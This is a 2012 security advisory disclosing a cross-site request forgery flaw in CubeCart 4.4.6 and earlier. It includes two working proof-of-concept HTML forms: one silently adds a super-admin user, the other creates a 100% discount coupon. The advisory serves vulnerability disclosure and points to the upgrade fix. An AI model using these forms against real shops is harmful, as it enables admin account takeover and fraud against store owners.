1. OVERVIEW CubeCart 4.4.6 and lower versions are vulnerable to Cross Site Request Forgery (CSRF). 2. BACKGROUND CubeCart is an "out of the box" ecommerce shopping cart software solution which has been written to run on servers that have PHP & MySQL support. With CubeCart you can quickly setup a powerful online store which can be used to sell digital or tangible products to new and existing customers all over the world. 3. VULNERABILITY DESCRIPTION CubeCart 4.4.6 and and lower versions contain a flaw that allows a remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw exists because the application does not require multiple steps or explicit confirmation for sensitive transactions for majority of administrator functions such as adding new user, assigning user to administrative privilege. By using a crafted URL, an attacker may trick the victim into visiting to his web page to take advantage of the trust relationship between the authenticated victim and the application. Such an attack could trick the victim into executing arbitrary commands in the context of their session with the application, without further prompting or verification. 4. VERSIONS AFFECTED 4.4.6 and lower 5. Proof-of-Concept //////////////////////////////////////////////////////////////////////////////////// Add Admin User ================== <form action="http://localhost/admin.php?_g=adminusers/administrators" method="POST" enctype="multipart/form-data"> <input type="hidden" name="name" value="hacker" /> <input type="hidden" name="adminUsername" value="hacker" /> <input type="hidden" name="email" value="hacker&#64;yehg&#46;net" /> <input type="hidden" name="adminPassword" value="h&#64;ck3er" /> <input type="hidden" name="adminPassword&#95;verify" value="h&#64;ck3er" /> <input type="hidden" name="isSuper" value="&#45;" /> <input type="hidden" name="notes" value="&#13;" /> <input type="hidden" name="adminId" value="&#13;" /> <input type="hidden" name="Submit" value="Add&#32;User" /> <input type="submit" value="Submit form" /> </form> Add Coupon ============== <form action="http://localhost/admin.php?_g=products/coupons" method="POST"> <input type="hidden" name="code" value="HACKER" /> <input type="hidden" name="discount&#95;percent" value="100" /> <input type="hidden" name="discount&#95;price" value="" /> <input type="hidden" name="expires" value="3000&#47;12&#47;30" /> <input type="hidden" name="allowed&#95;uses" value="0" /> <input type="hidden" name="count" value="0" /> <input type="hidden" name="desc" value="0" /> <input type="hidden" name="id" value="" /> <input type="hidden" name="Submit" value="Edit&#32;Coupon" /> <input type="submit" value="Submit form" /> </form> //////////////////////////////////////////////////////////////////////// 6. SOLUTION The CubeCart 4.x version family is no longer maintained by the vendor. Upgrade to the currently supported latest CubeCart version - 5.x. 7. VENDOR CubeCart Development Team http://cubecart.com/ 8. CREDIT Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 9. DISCLOSURE TIME-LINE 2012-12-22: CubeCart 4.x in End-of-Support/Maintenance circle 2012-12-24: Vulnerability disclosed 10. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/%5Bcubecart_4.4.6%5D_csrf CubeCart Home Page: http://cubecart.com/ CubeCart Bug-Fix Announcement: http://forums.cubecart.com/topic/45456-cubecart-447-released/ #yehg [2012-12-24] --------------------------------- Best regards, YGN Ethical Hacker Group Yangon, Myanmar http://yehg.net Our Lab | http://yehg.net/lab Our Directory | http://yehg.net/hwd